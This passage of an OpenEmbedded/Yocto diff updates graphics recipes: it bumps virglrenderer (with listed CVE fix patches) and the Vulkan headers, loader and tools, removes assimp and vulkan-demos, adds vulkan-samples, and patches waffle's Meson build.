+ tcase_add_test(tc_core, virgl_test_transfer_buffer_bad_strides);
+ tcase_add_test(tc_core, virgl_test_transfer_2d_array_bad_layer_stride);
+ tcase_add_test(tc_core, virgl_test_transfer_2d_bad_level);
++ tcase_add_test(tc_core, test_vrend_host_backed_memory_no_data_leak);
+
+ tcase_add_loop_test(tc_core, virgl_test_transfer_res_read_valid, 0, PIPE_MAX_TEXTURE_TYPES);
+ tcase_add_loop_test(tc_core, virgl_test_transfer_res_write_valid, 0, PIPE_MAX_TEXTURE_TYPES);
+--
+2.25.1
+
diff --git a/meta/recipes-graphics/virglrenderer/virglrenderer_0.8.0.bb b/meta/recipes-graphics/virglrenderer/virglrenderer_0.8.0.bb
deleted file mode 100644
index d2b11c103a..0000000000
--- a/meta/recipes-graphics/virglrenderer/virglrenderer_0.8.0.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "VirGL virtual OpenGL renderer"
-HOMEPAGE = "https://virgil3d.github.io/"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c81c08eeefd9418fca8f88309a76db10"
-
-DEPENDS = "libdrm mesa libepoxy"
-SRCREV = "48cc96c9aebb9d0164830a157efc8916f08f00c0"
-SRC_URI = "git://anongit.freedesktop.org/virglrenderer \
- file://0001-gallium-Expand-libc-check-to-be-platform-OS-check.patch \
- "
-
-S = "${WORKDIR}/git"
-
-inherit autotools pkgconfig distro_features_check
-
-BBCLASSEXTEND = "native nativesdk"
-
-REQUIRED_DISTRO_FEATURES = "opengl"
-REQUIRED_DISTRO_FEATURES_class-native = ""
-REQUIRED_DISTRO_FEATURES_class-nativesdk = ""
diff --git a/meta/recipes-graphics/virglrenderer/virglrenderer_0.9.1.bb b/meta/recipes-graphics/virglrenderer/virglrenderer_0.9.1.bb
new file mode 100644
index 0000000000..9ddf6cbe78
--- /dev/null
+++ b/meta/recipes-graphics/virglrenderer/virglrenderer_0.9.1.bb
@@ -0,0 +1,25 @@
+SUMMARY = "VirGL virtual OpenGL renderer"
+DESCRIPTION = "Virgil is a research project to investigate the possibility of \
+creating a virtual 3D GPU for use inside qemu virtual machines, that allows \
+the guest operating system to use the capabilities of the host GPU to \
+accelerate 3D rendering."
+HOMEPAGE = "https://virgil3d.github.io/"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c81c08eeefd9418fca8f88309a76db10"
+
+DEPENDS = "libdrm virtual/egl virtual/libgbm libepoxy"
+SRCREV = "363915595e05fb252e70d6514be2f0c0b5ca312b"
+SRC_URI = "git://anongit.freedesktop.org/virglrenderer;branch=branch-0.9.1 \
+ file://0001-meson.build-use-python3-directly-for-python.patch \
+ file://cve-2022-0135.patch \
+ file://cve-2022-0175.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+inherit meson pkgconfig features_check
+
+BBCLASSEXTEND = "native nativesdk"
+
+REQUIRED_DISTRO_FEATURES = "opengl"
diff --git a/meta/recipes-graphics/vulkan/assimp_4.1.0.bb b/meta/recipes-graphics/vulkan/assimp_4.1.0.bb
deleted file mode 100644
index 194cbe33cc..0000000000
--- a/meta/recipes-graphics/vulkan/assimp_4.1.0.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-DESCRIPTION = "Open Asset Import Library is a portable Open Source library to import \
- various well-known 3D model formats in a uniform manner."
-HOMEPAGE = "http://www.assimp.org/"
-SECTION = "devel"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=2119edef0916b0bd511cb3c731076271"
-
-DEPENDS = "zlib"
-
-SRC_URI = "git://github.com/assimp/assimp.git"
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>(\d+(\.\d+)+))"
-
-SRCREV = "80799bdbf90ce626475635815ee18537718a05b1"
-
-S = "${WORKDIR}/git"
-
-inherit cmake
-
-EXTRA_OECMAKE = "-DASSIMP_BUILD_ASSIMP_TOOLS=OFF -DASSIMP_BUILD_TESTS=OFF -DASSIMP_LIB_INSTALL_DIR=${baselib}"
diff --git a/meta/recipes-graphics/vulkan/vulkan-demos/0001-Don-t-build-demos-with-questionably-licensed-data.patch b/meta/recipes-graphics/vulkan/vulkan-demos/0001-Don-t-build-demos-with-questionably-licensed-data.patch
deleted file mode 100644
index 93bcfbf851..0000000000
--- a/meta/recipes-graphics/vulkan/vulkan-demos/0001-Don-t-build-demos-with-questionably-licensed-data.patch
+++ /dev/null
@@ -1,98 +0,0 @@
-From 0a27144d43b70121f57f6036514d069ca9d2b971 Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Mon, 30 Jul 2018 17:23:29 +0300
-Subject: [PATCH] Don't build demos with questionably licensed data
-
-Some of the models don't have open source compatible licenses:
-don't build demos using those. Also don't build demos that need
-resources that are not included.
-
-ssao:
-scenerendering:
- Sibenik model, no license found
-
-deferred:
-deferredmultisampling:
-deferredshadows:
- armor model, CC-BY-3.0
-
-vulkanscene:
-imgui:
-shadowmapping:
- vulkanscene model, no license found
-
-indirectdraw:
- plant model, no license found
-
-hdr:
-pbribl:
-pbrtexture:
- Require external Vulkan Asset Pack
-
-Upstream-Status: Inappropriate [configuration]
-
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- examples/CMakeLists.txt | 14 --------------
- 1 file changed, 14 deletions(-)
-
-diff --git a/examples/CMakeLists.txt b/examples/CMakeLists.txt
-index 8eee3a4..698d3b3 100644
---- a/examples/CMakeLists.txt
-+++ b/examples/CMakeLists.txt
-@@ -47,18 +47,12 @@ set(EXAMPLES
- computeshader
- conservativeraster
- debugmarker
-- deferred
-- deferredmultisampling
-- deferredshadows
- descriptorsets
- displacement
- distancefieldfonts
- dynamicuniformbuffer
- gears
- geometryshader
-- hdr
-- imgui
-- indirectdraw
- inputattachments
- instancing
- mesh
-@@ -70,8 +64,6 @@ set(EXAMPLES
- parallaxmapping
- particlefire
- pbrbasic
-- pbribl
-- pbrtexture
- pipelines
- pipelinestatistics
- pushconstants
-@@ -79,15 +71,10 @@ set(EXAMPLES
- radialblur
- raytracing
- renderheadless
-- scenerendering
- screenshot
-- shadowmapping
-- shadowmappingomni
-- shadowmappingcascade
- skeletalanimation
- specializationconstants
- sphericalenvmapping
-- ssao
- stencilbuffer
- subpasses
- terraintessellation
-@@ -101,7 +88,6 @@ set(EXAMPLES
- texturesparseresidency
- triangle
- viewportarray
-- vulkanscene
- )
-
- buildExamples()
---
-2.4.0
-
diff --git a/meta/recipes-graphics/vulkan/vulkan-demos_git.bb b/meta/recipes-graphics/vulkan/vulkan-demos_git.bb
deleted file mode 100644
index d2041d7d4c..0000000000
--- a/meta/recipes-graphics/vulkan/vulkan-demos_git.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-DESCRIPTION = "Collection of Vulkan examples"
-LICENSE = "MIT"
-DEPENDS = "zlib"
-
-LIC_FILES_CHKSUM = "file://LICENSE.md;md5=dcf473723faabf17baa9b5f2207599d0 \
- file://examples/triangle/triangle.cpp;endline=12;md5=bccd1bf9cadd9e10086cf7872157e4fa"
-
-SRCREV_glm = "01f9ab5b6d21e5062ac0f6e0f205c7fa2ca9d769"
-SRCREV_gli = "8e43030b3e12bb58a4663d85adc5c752f89099c0"
-
-SRC_URI = "git://github.com/SaschaWillems/Vulkan.git \
- git://github.com/g-truc/glm;destsuffix=git/external/glm;name=glm \
- git://github.com/g-truc/gli;destsuffix=git/external/gli;name=gli \
- file://0001-Don-t-build-demos-with-questionably-licensed-data.patch \
-"
-UPSTREAM_CHECK_COMMITS = "1"
-SRCREV = "ae0b59c6e2e8630a2ae26f4a0b7a72cbe7547948"
-UPSTREAM_CHECK_GITTAGREGEX = "These are not the releases you're looking for"
-S = "${WORKDIR}/git"
-
-REQUIRED_DISTRO_FEATURES = 'vulkan'
-
-inherit cmake distro_features_check
-DEPENDS = "vulkan-loader assimp"
-
-do_install_append () {
- # Remove assets that have uncertain licenses
- rm ${D}${datadir}/vulkan-demos/models/armor/* \
- ${D}${datadir}/vulkan-demos/models/sibenik/* \
- ${D}${datadir}/vulkan-demos/models/vulkanscene* \
- ${D}${datadir}/vulkan-demos/models/plants.dae \
- ${D}${datadir}/vulkan-demos/textures/texturearray_plants*
-
- mv ${D}${bindir}/screenshot ${D}${bindir}/vulkan-screenshot
-}
-
-EXTRA_OECMAKE = "-DRESOURCE_INSTALL_DIR=${datadir}/vulkan-demos"
-
-ANY_OF_DISTRO_FEATURES = "x11 wayland"
-
-# Can only pick one of [wayland,xcb]
-PACKAGECONFIG = "${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland', 'xcb' ,d)}"
-PACKAGECONFIG[wayland] = "-DUSE_WAYLAND_WSI=ON, -DUSE_WAYLAND_WSI=OFF, wayland"
-PACKAGECONFIG[xcb] = ",,libxcb"
diff --git a/meta/recipes-graphics/vulkan/vulkan-headers_1.1.108.bb b/meta/recipes-graphics/vulkan/vulkan-headers_1.1.108.bb
deleted file mode 100644
index 284c19d797..0000000000
--- a/meta/recipes-graphics/vulkan/vulkan-headers_1.1.108.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "Vulkan Header files and API registry"
-HOMEPAGE = "https://www.khronos.org/vulkan/"
-BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Headers"
-SECTION = "libs"
-
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=3b83ef96387f14655fc854ddc3c6bd57"
-SRC_URI = "git://github.com/KhronosGroup/Vulkan-Headers.git;branch=sdk-${PV}"
-
-SRCREV = "097a1045098213919fd56442f52c716fc78eeb27"
-
-S = "${WORKDIR}/git"
-
-inherit cmake
-
-FILES_${PN} += "${datadir}/vulkan"
-
-UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-headers_1.3.204.1.bb b/meta/recipes-graphics/vulkan/vulkan-headers_1.3.204.1.bb
new file mode 100644
index 0000000000..7397f40fb4
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-headers_1.3.204.1.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Vulkan Header files and API registry"
+DESCRIPTION = "Vulkan is a 3D graphics and compute API providing cross-platform access \
+to modern GPUs with low overhead and targeting realtime graphics applications such as \
+games and interactive media. This package contains the development headers \
+for packages wanting to make use of Vulkan."
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Headers"
+SECTION = "libs"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=3b83ef96387f14655fc854ddc3c6bd57"
+SRC_URI = "git://github.com/KhronosGroup/Vulkan-Headers.git;branch=main;protocol=https"
+
+SRCREV = "1dace16d8044758d32736eb59802d171970e9448"
+
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+FILES:${PN} += "${datadir}/vulkan"
+
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-loader_1.1.108.bb b/meta/recipes-graphics/vulkan/vulkan-loader_1.1.108.bb
deleted file mode 100644
index 2fd6c44480..0000000000
--- a/meta/recipes-graphics/vulkan/vulkan-loader_1.1.108.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "3D graphics and compute API common loader"
-DESCRIPTION = "Vulkan is a new generation graphics and compute API \
-that provides efficient access to modern GPUs. These packages \
-provide only the common vendor-agnostic library loader, headers and \
-the vulkaninfo utility."
-HOMEPAGE = "https://www.khronos.org/vulkan/"
-BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Loader"
-SECTION = "libs"
-
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=7dbefed23242760aa3475ee42801c5ac"
-SRC_URI = "git://github.com/KhronosGroup/Vulkan-Loader.git;branch=sdk-${PV}"
-SRCREV = "ecb0b1e69fb2f4d3cae262e6da24c170ce62ae13"
-
-S = "${WORKDIR}/git"
-
-REQUIRED_DISTRO_FEATURES = "vulkan"
-
-inherit cmake distro_features_check
-ANY_OF_DISTRO_FEATURES = "x11 wayland"
-
-DEPENDS += "vulkan-headers"
-
-EXTRA_OECMAKE = "\
- -DBUILD_TESTS=OFF \
- -DPYTHON_EXECUTABLE=${HOSTTOOLS_DIR}/python3 \
- "
-
-# must choose x11 or wayland or both
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
-
-PACKAGECONFIG[x11] = "-DBUILD_WSI_XLIB_SUPPORT=ON -DBUILD_WSI_XCB_SUPPORT=ON, -DBUILD_WSI_XLIB_SUPPORT=OFF -DBUILD_WSI_XCB_SUPPORT=OFF, libxcb libx11 libxrandr"
-PACKAGECONFIG[wayland] = "-DBUILD_WSI_WAYLAND_SUPPORT=ON, -DBUILD_WSI_WAYLAND_SUPPORT=OFF, wayland"
-
-RRECOMMENDS_${PN} = "mesa-vulkan-drivers"
-
-UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-loader_1.3.204.1.bb b/meta/recipes-graphics/vulkan/vulkan-loader_1.3.204.1.bb
new file mode 100644
index 0000000000..8924ca34a6
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-loader_1.3.204.1.bb
@@ -0,0 +1,40 @@
+SUMMARY = "3D graphics and compute API common loader"
+DESCRIPTION = "Vulkan is a new generation graphics and compute API \
+that provides efficient access to modern GPUs. These packages \
+provide only the common vendor-agnostic library loader, headers and \
+the vulkaninfo utility."
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Loader"
+SECTION = "libs"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=7dbefed23242760aa3475ee42801c5ac"
+SRC_URI = "git://github.com/KhronosGroup/Vulkan-Loader.git;branch=sdk-1.3.204;protocol=https"
+SRCREV = "f3e995134211d3fd663febede48e740e44982e27"
+
+S = "${WORKDIR}/git"
+
+REQUIRED_DISTRO_FEATURES = "vulkan"
+
+inherit cmake features_check pkgconfig
+ANY_OF_DISTRO_FEATURES = "x11 wayland"
+
+DEPENDS += "vulkan-headers"
+
+EXTRA_OECMAKE = "\
+ -DBUILD_TESTS=OFF \
+ -DPYTHON_EXECUTABLE=${HOSTTOOLS_DIR}/python3 \
+ -DASSEMBLER_WORKS=FALSE \
+ -DVulkanHeaders_INCLUDE_DIR=${STAGING_INCDIR} \
+ -DVulkanRegistry_DIR=${RECIPE_SYSROOT}/${datadir} \
+ "
+
+# must choose x11 or wayland or both
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
+
+PACKAGECONFIG[x11] = "-DBUILD_WSI_XLIB_SUPPORT=ON -DBUILD_WSI_XCB_SUPPORT=ON, -DBUILD_WSI_XLIB_SUPPORT=OFF -DBUILD_WSI_XCB_SUPPORT=OFF, libxcb libx11 libxrandr"
+PACKAGECONFIG[wayland] = "-DBUILD_WSI_WAYLAND_SUPPORT=ON, -DBUILD_WSI_WAYLAND_SUPPORT=OFF, wayland"
+
+RRECOMMENDS:${PN} = "mesa-vulkan-drivers"
+
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-samples/0001-CMakeLists.txt-do-not-hardcode-lib-as-installation-t.patch b/meta/recipes-graphics/vulkan/vulkan-samples/0001-CMakeLists.txt-do-not-hardcode-lib-as-installation-t.patch
new file mode 100644
index 0000000000..90fe277a41
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-samples/0001-CMakeLists.txt-do-not-hardcode-lib-as-installation-t.patch
@@ -0,0 +1,29 @@
+From 5fb216d35b6846074196e80421f3162df3b9c8cd Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Sun, 1 Nov 2020 23:19:22 +0000
+Subject: [PATCH] CMakeLists.txt: do not hardcode 'lib' as installation target
+
+Upstream-Status: Inappropriate [already fixed in newer versions]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ CMakeLists.txt | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index e00f8c77..f9896eed 100644
+--- a/third_party/spirv-cross/CMakeLists.txt
++++ b/third_party/spirv-cross/CMakeLists.txt
+@@ -67,8 +67,8 @@ macro(spirv_cross_add_library name config_name)
+ install(TARGETS ${name}
+ EXPORT ${config_name}Config
+ RUNTIME DESTINATION bin
+- LIBRARY DESTINATION lib
+- ARCHIVE DESTINATION lib
++ LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}
++ ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR}
+ PUBLIC_HEADER DESTINATION include/spirv_cross)
+ install(FILES ${hdrs} DESTINATION include/spirv_cross)
+ install(EXPORT ${config_name}Config DESTINATION share/${config_name}/cmake)
+--
+2.17.1
+
diff --git a/meta/recipes-graphics/vulkan/vulkan-samples/debugfix.patch b/meta/recipes-graphics/vulkan/vulkan-samples/debugfix.patch
new file mode 100644
index 0000000000..d723fcc19a
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-samples/debugfix.patch
@@ -0,0 +1,31 @@
+There is code to remove the prefix CMAKE_SOURCE_DIR from __FILENAME__ paths
+used for logging with LOGE() in the code. We need to make this match the value we use
+in the debug source remapping from CFLAGS
+
+We export the right path to use in the recipe with:
+
+EXTRA_OECMAKE = "-DCMAKE_DEBUG_SRCDIR=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/"
+
+and we then patch this into the code instead of the broken use
+of CMAKE_SOURCE_DIR since __FILENAME__ will match our path prefix
+changes.
+
+This also breaks reproducibility since the path length of the build directory
+will currently change the output!
+
+Upstream-Status: Pending [needs to be discussed upstream]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: git/bldsys/cmake/global_options.cmake
+===================================================================
+--- git.orig/bldsys/cmake/global_options.cmake
++++ git/bldsys/cmake/global_options.cmake
+@@ -47,7 +47,7 @@ set(CMAKE_CXX_STANDARD 14)
+ set(CMAKE_DISABLE_SOURCE_CHANGES ON)
+ set(CMAKE_DISABLE_IN_SOURCE_BUILD ON)
+
+-string(LENGTH "${CMAKE_SOURCE_DIR}/" ROOT_PATH_SIZE)
++string(LENGTH "${CMAKE_DEBUG_SRCDIR}/" ROOT_PATH_SIZE)
+ add_definitions(-DROOT_PATH_SIZE=${ROOT_PATH_SIZE})
+
+ set(CMAKE_C_FLAGS_DEBUG "-DDEBUG=0 ${CMAKE_C_FLAGS_DEBUG}")
diff --git a/meta/recipes-graphics/vulkan/vulkan-samples_git.bb b/meta/recipes-graphics/vulkan/vulkan-samples_git.bb
new file mode 100644
index 0000000000..53c7254ce7
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-samples_git.bb
@@ -0,0 +1,38 @@
+DESCRIPTION = "The Vulkan Samples is collection of resources to help develop optimized Vulkan applications."
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Samples/issues"
+LICENSE = "Apache-2.0"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=48aa35cefb768436223a6e7f18dc2a2a"
+
+SRC_URI = "gitsm://github.com/KhronosGroup/Vulkan-Samples.git;branch=master;protocol=https \
+ file://0001-CMakeLists.txt-do-not-hardcode-lib-as-installation-t.patch \
+ file://debugfix.patch \
+ "
+
+UPSTREAM_CHECK_COMMITS = "1"
+SRCREV = "28ca2dad83ceb157386e0708f5151ae89c177ad4"
+
+UPSTREAM_CHECK_GITTAGREGEX = "These are not the releases you're looking for"
+S = "${WORKDIR}/git"
+
+REQUIRED_DISTRO_FEATURES = 'vulkan'
+COMPATIBLE_HOST = "(x86_64|aarch64|mips64|powerpc64|riscv64).*-linux"
+
+inherit cmake features_check
+
+FILES:${PN} += "${datadir}"
+
+#
+# There is code to remove the prefix CMAKE_SOURCE_DIR from __FILENAME__ paths
+# used for logging with LOGE in the code. We need to make this match the value we use
+# in the debug source remapping from CFLAGS
+#
+EXTRA_OECMAKE += "-DCMAKE_DEBUG_SRCDIR=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/"
+# Binaries built with PCH enabled don't appear reproducible, differing results were seen
+# from some builds depending on the point the PCH was compiled. Disable it to be
+# deterministic
+EXTRA_OECMAKE += "-DCMAKE_DISABLE_PRECOMPILE_HEADERS=ON"
+
+# This needs to be specified explicitly to avoid xcb/xlib dependencies
+EXTRA_OECMAKE += "-DVKB_WSI_SELECTION=D2D"
diff --git a/meta/recipes-graphics/vulkan/vulkan-tools_1.1.108.bb b/meta/recipes-graphics/vulkan/vulkan-tools_1.1.108.bb
deleted file mode 100644
index 26cdee3c14..0000000000
--- a/meta/recipes-graphics/vulkan/vulkan-tools_1.1.108.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Vulkan Utilities and Tools"
-HOMEPAGE = "https://www.khronos.org/vulkan/"
-BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Tools"
-SECTION = "libs"
-
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=3b83ef96387f14655fc854ddc3c6bd57"
-SRC_URI = "git://github.com/KhronosGroup/Vulkan-Tools.git;branch=sdk-${PV}"
-SRCREV = "3ccd7f6ebae3e1919adf837718c04feb6c2acc61"
-
-S = "${WORKDIR}/git"
-
-inherit cmake distro_features_check
-ANY_OF_DISTRO_FEATURES = "x11 wayland"
-REQUIRED_DISTRO_FEATURES = "vulkan"
-
-DEPENDS += "vulkan-headers vulkan-loader"
-
-EXTRA_OECMAKE = "\
- -DBUILD_TESTS=OFF \
- -DBUILD_CUBE=OFF \
- -DPYTHON_EXECUTABLE=${HOSTTOOLS_DIR}/python3 \
- "
-
-# must choose x11 or wayland or both
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
-
-PACKAGECONFIG[x11] = "-DBUILD_WSI_XLIB_SUPPORT=ON -DBUILD_WSI_XCB_SUPPORT=ON, -DBUILD_WSI_XLIB_SUPPORT=OFF -DBUILD_WSI_XCB_SUPPORT=OFF, libxcb libx11 libxrandr"
-PACKAGECONFIG[wayland] = "-DBUILD_WSI_WAYLAND_SUPPORT=ON, -DBUILD_WSI_WAYLAND_SUPPORT=OFF, wayland"
-
-UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-tools_1.3.204.1.bb b/meta/recipes-graphics/vulkan/vulkan-tools_1.3.204.1.bb
new file mode 100644
index 0000000000..ae062f3ee2
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-tools_1.3.204.1.bb
@@ -0,0 +1,32 @@
+SUMMARY = "Vulkan Utilities and Tools"
+DESCRIPTION = "Assist development by enabling developers to verify their applications correct use of the Vulkan API."
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Tools"
+SECTION = "libs"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=3b83ef96387f14655fc854ddc3c6bd57"
+SRC_URI = "git://github.com/KhronosGroup/Vulkan-Tools.git;branch=sdk-1.3.204;protocol=https"
+SRCREV = "b9a87a24a814e443b1adfc5a6bc2e57243446f6c"
+
+S = "${WORKDIR}/git"
+
+inherit cmake features_check
+ANY_OF_DISTRO_FEATURES = "x11 wayland"
+REQUIRED_DISTRO_FEATURES = "vulkan"
+
+DEPENDS += "vulkan-headers vulkan-loader"
+
+EXTRA_OECMAKE = "\
+ -DBUILD_TESTS=OFF \
+ -DBUILD_CUBE=OFF \
+ -DPYTHON_EXECUTABLE=${HOSTTOOLS_DIR}/python3 \
+ "
+
+# must choose x11 or wayland or both
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
+
+PACKAGECONFIG[x11] = "-DBUILD_WSI_XLIB_SUPPORT=ON -DBUILD_WSI_XCB_SUPPORT=ON, -DBUILD_WSI_XLIB_SUPPORT=OFF -DBUILD_WSI_XCB_SUPPORT=OFF, libxcb libx11 libxrandr"
+PACKAGECONFIG[wayland] = "-DBUILD_WSI_WAYLAND_SUPPORT=ON, -DBUILD_WSI_WAYLAND_SUPPORT=OFF, wayland"
+
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/waffle/waffle/0001-waffle-do-not-make-core-protocol-into-the-library.patch b/meta/recipes-graphics/waffle/waffle/0001-waffle-do-not-make-core-protocol-into-the-library.patch
new file mode 100644
index 0000000000..24b2de5d9c
--- /dev/null
+++ b/meta/recipes-graphics/waffle/waffle/0001-waffle-do-not-make-core-protocol-into-the-library.patch
@@ -0,0 +1,56 @@
+From 7610ec4b572d3a54d30fca6798f0c406f3fd8a46 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 26 Oct 2021 08:52:17 +0200
+Subject: [PATCH] waffle: do not make core protocol into the library
+
+None of the consumers (which is just piglit) use it, and
+this avoids host contamination from pkg-config suggesting
+wayland.xml from the host.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ meson.build | 4 ----
+ src/waffle/meson.build | 7 -------
+ 2 files changed, 11 deletions(-)
+
+diff --git a/meson.build b/meson.build
+index ffc02ff..0bb6128 100644
+--- a/meson.build
++++ b/meson.build
+@@ -104,10 +104,6 @@ else
+ dep_wayland_client = dependency(
+ 'wayland-client', version : '>= 1.10', required : get_option('wayland'),
+ )
+- if dep_wayland_client.found()
+- wayland_core_xml = join_paths(dep_wayland_client.get_pkgconfig_variable('pkgdatadir'),
+- 'wayland.xml')
+- endif
+ dep_wayland_egl = dependency(
+ 'wayland-egl', version : '>= 9.1', required : get_option('wayland'),
+ )
+diff --git a/src/waffle/meson.build b/src/waffle/meson.build
+index 01898c8..6245868 100644
+--- a/src/waffle/meson.build
++++ b/src/waffle/meson.build
+@@ -88,12 +88,6 @@ if build_surfaceless
+ endif
+
+ if build_wayland
+- wl_core_proto_c = custom_target(
+- 'wl-core-proto.c',
+- input: wayland_core_xml,
+- output: 'wl-core-proto.c',
+- command: [prog_wayland_scanner, 'private-code', '@INPUT@', '@OUTPUT@'],
+- )
+ wl_xdg_shell_proto_c = custom_target(
+ 'wl-xdg-shell-proto.c',
+ input: wayland_xdg_shell_xml,
+@@ -114,7 +108,6 @@ if build_wayland
+ 'wayland/wayland_wrapper.c',
+ )
+ files_libwaffle += [
+- wl_core_proto_c,
+ wl_xdg_shell_proto_c,
+ wl_xdg_shell_proto_h,
+ ]
diff --git a/meta/recipes-graphics/waffle/waffle_1.6.0.bb b/meta/recipes-graphics/waffle/waffle_1.6.0.bb
deleted file mode 100644
index 8a1d5748f6..0000000000
--- a/meta/recipes-graphics/waffle/waffle_1.6.0.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "cross-platform C library to defer selection of GL API and of window system"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=4c5154407c2490750dd461c50ad94797 \
- file://include/waffle/waffle.h;endline=24;md5=61dbf8697f61c78645e75a93c585b1bf"
-
-SRC_URI = "http://waffle-gl.org/files/release/${BPN}-${PV}/${BPN}-${PV}.tar.xz"
-SRC_URI[md5sum] = "61bfc1a478e840825f33ddb4057115e7"
-SRC_URI[sha256sum] = "d9c899f710c50cfdd00f5f4cdfeaef0687d8497362239bdde93bed6c909c81d7"
-
-UPSTREAM_CHECK_URI = "http://www.waffle-gl.org/releases.html"
-
-inherit meson distro_features_check lib_package bash-completion
-
-# This should be overridden per-machine to reflect the capabilities of the GL
-# stack.
-PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'glx x11-egl', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland', '', d)} \
- surfaceless-egl gbm"
-
-# virtual/libgl requires opengl in DISTRO_FEATURES.
-REQUIRED_DISTRO_FEATURES += "${@bb.utils.contains('DEPENDS', 'virtual/${MLPREFIX}libgl', 'opengl', '', d)}"
-
-# I say virtual/libgl, actually wants gl.pc
-PACKAGECONFIG[glx] = "-Dglx=enabled,-Dglx=disabled,virtual/${MLPREFIX}libgl libx11"
-
-# I say virtual/libgl, actually wants wayland-egl.pc, egl.pc, and the wayland
-# DISTRO_FEATURE.
-PACKAGECONFIG[wayland] = "-Dwayland=enabled,-Dwayland=disabled,virtual/${MLPREFIX}libgl wayland"
-
-# I say virtual/libgl, actually wants gbm.pc egl.pc
-PACKAGECONFIG[gbm] = "-Dgbm=enabled,-Dgbm=disabled,virtual/${MLPREFIX}libgl udev"
-
-# I say virtual/libgl, actually wants egl.pc
-PACKAGECONFIG[x11-egl] = "-Dx11_egl=enabled,-Dx11_egl=disabled,virtual/${MLPREFIX}libgl libxcb"
-PACKAGECONFIG[surfaceless-egl] = "-Dsurfaceless_egl=enabled,-Dsurfaceless_egl=disabled,virtual/${MLPREFIX}libgl"
-
-# TODO: optionally build manpages and examples
